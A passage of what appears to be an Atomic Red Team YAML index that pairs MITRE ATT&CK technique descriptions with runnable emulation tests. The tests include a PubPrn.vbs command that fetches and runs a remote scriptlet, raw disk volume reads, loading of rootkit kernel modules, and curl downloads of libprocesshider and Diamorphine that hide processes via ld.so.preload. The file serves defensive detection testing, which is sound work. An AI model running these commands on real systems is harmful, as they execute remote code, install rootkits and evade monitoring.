        In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Signed Script Proxy Execution: Pubprn'
      x_mitre_detection: Monitor script processes, such as `cscript`, and command-line
        parameters for scripts like PubPrn.vbs that may be used to proxy execution
        of malicious files.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application Control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1216.001
    atomic_tests:
    - name: PubPrn.vbs Signed Script Bypass
      auto_generated_guid: 9dd29a1f-1e16-4862-be83-913b10a88f6c
      description: 'Executes the signed PubPrn.vbs script with options to download
        and execute an arbitrary payload.

        '
      supported_platforms:
      - windows
      input_arguments:
        remote_payload:
          description: A remote payload to execute using PubPrn.vbs.
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct
      executor:
        command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
          localhost "script:#{remote_payload}"

          '
        name: command_prompt
  T1574.007:
    technique:
      modified: '2023-10-03T03:29:57.078Z'
      name: Path Interception by PATH Environment Variable
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables used to load libraries. The PATH environment variable
        contains a list of directories (User and System) that the OS searches sequentially
        through in search of the binary that was called from a script or the command
        line. \n\nAdversaries can place a malicious program in an earlier entry in
        the list of directories stored in the PATH environment variable, resulting
        in the operating system executing the malicious binary rather than the legitimate
        binary when it searches sequentially through that PATH listing.\n\nFor example,
        on Windows if an adversary places a malicious program named \"net.exe\" in
        `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe`
        in the PATH environment variable, when \"net\" is executed from the command-line
        the `C:\\example path` will be called instead of the system's legitimate executable
        at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely
        on the PATH environment variable to determine the locations that are searched
        when the path for the program is not given, such as executing programs from
        a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation:
        ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify
        the $PATH variable specifying the directories to be searched.  An adversary
        can modify the `$PATH` variable to point to a directory they have write access.
        When a program using the $PATH variable is called, the OS searches the specified
        directory and executes the malicious binary. On macOS, this can also be performed
        through modifying the $HOME variable. These variables can be modified using
        the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004),
        or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC
        linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic
        Rules macOS launchctl 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
      created: '2020-03-13T14:10:43.424Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/007
        external_id: T1574.007
      - source_name: Elastic Rules macOS launchctl 2022
        description: Elastic Security 7.17. (2022, February 1). Modification of Environment
          Variable via Launchctl. Retrieved September 28, 2023.
        url: https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html
      - source_name: ExpressVPN PATH env Windows 2021
        description: 'ExpressVPN Security Team. (2021, November 16). Cybersecurity
          lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.'
        url: https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/
      - source_name: uptycs Fake POC linux malware 2023
        description: 'Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit:
          Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.'
        url: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware
      - source_name: nixCraft macOS PATH variables
        description: Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable
          Command. Retrieved September 28, 2023.
        url: https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1006:
    technique:
      modified: '2024-04-16T12:25:24.480Z'
      name: Direct Volume Access
      description: |-
        Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

        Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Tom Simpson, CrowdStrike Falcon OverWatch
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)

        Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Network
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Drive: Drive Access'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - File monitoring
      - File system access controls
      type: attack-pattern
      id: attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5
      created: '2017-05-31T21:30:20.934Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1006
        external_id: T1006
      - source_name: Github PowerSploit Ninjacopy
        description: Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved
          June 2, 2016.
        url: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
      - source_name: Hakobyan 2009
        description: Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors
          Directly from Disk using Logical Offsets. Retrieved November 12, 2014.
        url: http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
      - source_name: LOLBAS Esentutl
        description: LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.
        url: https://lolbas-project.github.io/lolbas/Binaries/Esentutl/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1006
    atomic_tests:
    - name: Read volume boot sector via DOS device path (PowerShell)
      auto_generated_guid: 88f6327e-51ec-4bbf-b2e8-3fea534eab8b
      description: |-
        This test uses PowerShell to open a handle on the drive volume via the `\\.\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.
        On success, a hex dump of the first 11 bytes of the volume is displayed.

        For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):
        ```
                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000   EB 52 90 4E 54 46 53 20 20 20 20                 ëR?NTFS
        ```
      supported_platforms:
      - windows
      input_arguments:
        volume:
          description: Drive letter of the volume to access
          type: string
          default: 'C:'
      executor:
        command: |
          $buffer = New-Object byte[] 11
          $handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite'
          $handle.Read($buffer, 0, $buffer.Length)
          $handle.Close()
          Format-Hex -InputObject $buffer
        name: powershell
        elevation_required: true
  T1564.008:
    technique:
      modified: '2023-10-16T16:41:53.957Z'
      name: Email Hiding Rules
      description: |-
        Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)

        Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.

        Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)

        In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Dor Edry, Microsoft
      - Liran Ravich, CardinalOps
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.

        On Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Office 365
      - Linux
      - macOS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      - 'File: File Modification'
      type: attack-pattern
      id: attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff
      created: '2021-06-07T13:20:23.767Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1564/008
        external_id: T1564.008
      - source_name: MacOS Email Rules
        description: Apple. (n.d.). Use rules to manage emails you receive in Mail
          on Mac. Retrieved June 14, 2021.
        url: https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac
      - source_name: Microsoft BEC Campaign
        description: 'Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of
          business email compromise: Using cross-domain threat data to disrupt a large
          BEC campaign. Retrieved June 15, 2021.'
        url: https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/
      - source_name: Microsoft Mail Flow Rules 2023
        description: Microsoft. (2023, February 22). Mail flow rules (transport rules)
          in Exchange Online. Retrieved March 13, 2023.
        url: https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules
      - source_name: Microsoft Inbox Rules
        description: Microsoft. (n.d.). Manage email messages by using rules. Retrieved
          June 11, 2021.
        url: https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59
      - source_name: Microsoft New-InboxRule
        description: Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps
      - source_name: Microsoft Set-InboxRule
        description: Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps
      - source_name: Microsoft Cloud App Security
        description: Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft
          Cloud App Security. Retrieved June 7, 2021.
        url: https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1027.013:
    technique:
      modified: '2024-04-19T04:03:07.164Z'
      name: Encrypted/Encoded File
      description: "Adversaries may encrypt or encode files to obfuscate strings,
        bytes, and other specific patterns to impede detection. Encrypting and/or
        encoding file content aims to conceal malicious artifacts within a file used
        in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002),
        [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded
        Payloads](https://attack.mitre.org/techniques/T1027/009), share this same
        broad objective. Encrypting and/or encoding files could lead to a lapse in
        detection of static signatures, only for this malicious content to be revealed
        (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140))
        at the time of execution/use.\n\nThis type of file obfuscation can be applied
        to many file artifacts present on victim hosts, such as malware log/configuration
        and payload files.(Citation: File obfuscation) Files can be encrypted with
        a hardcoded or user-supplied key, as well as otherwise obfuscated using standard
        encoding/compression schemes such as Base64.\n\nThe entire content of a file
        may be obfuscated, or just specific functions or values (such as C2 addresses).
        Encryption and encoding may also be applied in redundant layers for additional
        protection.\n\nFor example, adversaries may abuse password-protected Word
        documents or self-extracting (SFX) archives as a method of encrypting/encoding
        a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload.
        These files typically function by attaching the intended archived content
        to a decompressor stub that is executed when the file is invoked (e.g., [User
        Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded
        File) \n\nAdversaries may also abuse file-specific as well as custom encoding
        schemes. For example, Byte Order Mark (BOM) headers in text files may be abused
        to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
        execution."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - David Galazin @themalwareman1
      - Andrew Northern, @ex_raritas
      - Jai Minton, @Cyberraiju
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144
      created: '2024-03-29T12:38:17.135Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/013
        external_id: T1027.013
      - source_name: File obfuscation
        description: Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July
          19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved
          March 29, 2024.
        url: https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/
      - source_name: SFX - Encrypted/Encoded File
        description: Jai Minton. (2023, March 31). How Falcon OverWatch Investigates
          Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads.
          Retrieved March 29, 2024.
        url: https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1014:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Rootkit
      description: "Adversaries may use rootkits to hide the presence of programs,
        files, network connections, services, drivers, and other system components.
        Rootkits are programs that hide the existence of malware by intercepting/hooking
        and modifying operating system API calls that supply system information. (Citation:
        Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality
        may reside at the user or kernel level in the operating system or lower, to
        include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001).
        (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux,
        and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat
        Mac OSX Rootkit)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: 'Some rootkit protections may be built into anti-virus or
        operating system software. There are dedicated rootkit detection tools that
        look for specific types of rootkit behavior. Monitor for the existence of
        unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia
        Rootkit)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      - 'Firmware: Firmware Modification'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - File Monitoring
      - Host Intrusion Prevention Systems
      - Application Control
      - Signature-based Detection
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b
      created: '2017-05-31T21:30:26.496Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1014
        external_id: T1014
      - source_name: CrowdStrike Linux Rootkit
        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
          Retrieved December 21, 2017.
        url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
      - source_name: BlackHat Mac OSX Rootkit
        description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit
          uses the tricks you haven''t known yet. Retrieved December 21, 2017.'
        url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf
      - source_name: Symantec Windows Rootkits
        description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
          21, 2017.
        url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
      - source_name: Wikipedia Rootkit
        description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.
        url: https://en.wikipedia.org/wiki/Rootkit
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1014
    atomic_tests:
    - name: Loadable Kernel Module based Rootkit
      auto_generated_guid: dfb50072-e45a-4c75-a17e-a484809c8553
      description: 'Loadable Kernel Module based Rootkit

        '
      supported_platforms:
      - linux
      input_arguments:
        rootkit_source_path:
          description: Path to the rootkit source. Used when prerequisites are fetched.
          type: path
          default: PathToAtomicsFolder/T1014/src/Linux
        rootkit_path:
          description: Path To rootkit
          type: string
          default: PathToAtomicsFolder/T1014/bin
        rootkit_name:
          description: Module name
          type: string
          default: T1014
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location (#{rootkit_path}/#{rootkit_name}.ko)

          '
        prereq_command: 'if [ -f #{rootkit_path}/#{rootkit_name}.ko ]; then exit 0;
          else exit 1; fi;

          '
        get_prereq_command: |
          sudo apt install make
          sudo apt install gcc
          if [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; fi;
          cp #{rootkit_source_path}/* /tmp/T1014/
          cd /tmp/T1014; make
          mkdir #{rootkit_path}
          mv /tmp/T1014/#{rootkit_name}.ko #{rootkit_path}/#{rootkit_name}.ko
          rm -rf /tmp/T1014
      executor:
        command: 'sudo insmod #{rootkit_path}/#{rootkit_name}.ko

          '
        cleanup_command: |
          sudo rmmod #{rootkit_name}
          sudo rm -rf #{rootkit_path}
        name: sh
        elevation_required: true
    - name: Loadable Kernel Module based Rootkit
      auto_generated_guid: 75483ef8-f10f-444a-bf02-62eb0e48db6f
      description: 'Loadable Kernel Module based Rootkit

        '
      supported_platforms:
      - linux
      input_arguments:
        rootkit_source_path:
          description: Path to the rootkit source. Used when prerequisites are fetched.
          type: path
          default: PathToAtomicsFolder/T1014/src/Linux
        rootkit_name:
          description: Module name
          type: string
          default: T1014
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location (#{rootkit_source_path}/#{rootkit_name}.ko)

          '
        prereq_command: 'if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then
          exit 0; else exit 1; fi;

          '
        get_prereq_command: "sudo apt install make\nsudo apt install gcc\nif [ ! -d
          /tmp/T1014 ]; then mkdir /tmp/T1014; touch /tmp/T1014/safe_to_delete; fi;\ncp
          #{rootkit_source_path}/* /tmp/T1014\ncd /tmp/T1014; make        \nsudo cp
          /tmp/T1014/#{rootkit_name}.ko /lib/modules/$(uname -r)/\n[ -f /tmp/T1014/safe_to_delete
          ] && rm -rf /tmp/T1014\nsudo depmod -a\n"
      executor:
        command: 'sudo modprobe #{rootkit_name}

          '
        cleanup_command: |
          sudo modprobe -r #{rootkit_name}
          sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko
          sudo depmod -a
        name: sh
        elevation_required: true
    - name: dynamic-linker based rootkit (libprocesshider)
      auto_generated_guid: 1338bf0c-fd0c-48c0-9e65-329f18e2c0d3
      description: 'Uses libprocesshider to simulate rootkit behavior by hiding a
        specific process name via ld.so.preload (see also T1574.006).

        '
      supported_platforms:
      - linux
      input_arguments:
        repo:
          description: Url of the github repo zip
          type: string
          default: https://github.com/gianlucaborello/libprocesshider/
        rev:
          description: Revision of the github repo zip
          type: string
          default: 25e0587d6bf2137f8792dc83242b6b0e5a72b415
        library_path:
          description: Full path of the library to add to ld.so.preload
          type: string
          default: "/usr/local/lib/libprocesshider.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The preload library must exist on disk at specified location
          (#{library_path})

          '
        prereq_command: 'if [ -f #{library_path} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          mkdir -p /tmp/atomic && cd /tmp/atomic
          curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd libprocesshider-#{rev}
          make
          cp libprocesshider.so #{library_path}
          cp /usr/bin/ping /usr/local/bin/evil_script.py
      executor:
        command: |
          echo #{library_path} | tee -a /etc/ld.so.preload
          /usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"
        cleanup_command: |
          sed -i "\:^#{library_path}:d" /etc/ld.so.preload
          rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic
        name: sh
        elevation_required: true
    - name: Loadable Kernel Module based Rootkit (Diamorphine)
      auto_generated_guid: 0b996469-48c6-46e2-8155-a17f8b6c2247
      description: 'Loads Diamorphine kernel module, which hides itself and a processes.

        '
      supported_platforms:
      - linux
      input_arguments:
        repo:
          description: Url of the diamorphine github repo
          type: string
          default: https://github.com/m0nad/Diamorphine/
        rev:
          description: Revision of the github repo zip
          type: string
          default: 898810523aa2033f582a4a5903ffe453334044f9
        rootkit_name:
          description: Module name
          type: string
          default: diamorphine
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location (#{rootkit_name}.ko)

          '
        prereq_command: 'if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then
          exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          mkdir -p /tmp/atomic && cd /tmp/atomic
          curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd Diamorphine-#{rev}
          make
          sudo cp #{rootkit_name}.ko /lib/modules/$(uname -r)/
          sudo depmod -a
      executor:
        command: |
          sudo modprobe #{rootkit_name}
          ping -c 10 localhost >/dev/null & TARGETPID="$!"
          ps $TARGETPID
          kill -31 $TARGETPID
          ps $TARGETPID || echo "process ${TARGETPID} hidden"
        cleanup_command: |
          kill -63 1
          sudo modprobe -r #{rootkit_name}
          sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic
          sudo depmod -a
        name: sh
        elevation_required: true
  T1036.007:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e
      type: attack-pattern
      created: '2021-08-04T20:54:03.066Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1036.007
        url: https://attack.mitre.org/techniques/T1036/007
      - source_name: PCMag DoubleExtension
        url: https://www.pcmag.com/encyclopedia/term/double-extension
        description: 'PCMag. (n.d.). Encyclopedia: double extension. Retrieved August
          4, 2021.'
      - source_name: SOCPrime DoubleExtension
        url: https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/
        description: 'Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible
          Malicious File Double Extension. Retrieved July 27, 2021.'
      - source_name: Seqrite DoubleExtension
        url: https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/
        description: Seqrite. (n.d.). How to avoid dual attack and vulnerable files
          with double extension?. Retrieved July 27, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: Double File Extension
      description: "Adversaries may abuse a double extension in the filename as a
        means of masquerading the true file type. A file name may include a secondary
        file type extension that may cause only the first extension to be displayed
        (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>).
        However, the second extension is the true file type that determines how the
        file is opened and executed. The real file extension may be hidden by the
        operating system in the file browser (ex: explorer.exe), as well as in any
        software configured using or similar to the system’s policies.(Citation: PCMag
        DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse
        double extensions to attempt to conceal dangerous file types of payloads.
        A very common usage involves tricking a user into opening what they think
        is a benign file type but is actually executable code. Such files often pose
        as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001)
        into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)
        then [User Execution](https://attack.mitre.org/techniques/T1204). For example,
        an executable file attachment named <code>Evil.txt.exe</code> may display
        as <code>Evil.txt</code> to a user. The user may then view it as a benign
        text file and open it, inadvertently executing the hidden malware.(Citation:
        SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt,
        .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first
        extension to appear benign. Executable extensions commonly regarded as dangerous,
        such as .exe, .lnk, .hta, and .scr, often appear as the second extension and
        true file type."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: 'Monitor for files written to disk that contain two file
        extensions, particularly when the second is an executable.(Citation: Seqrite
        DoubleExtension)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1548.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Abuse Elevation Control Mechanism: Bypass User Account Control'
      description: |-
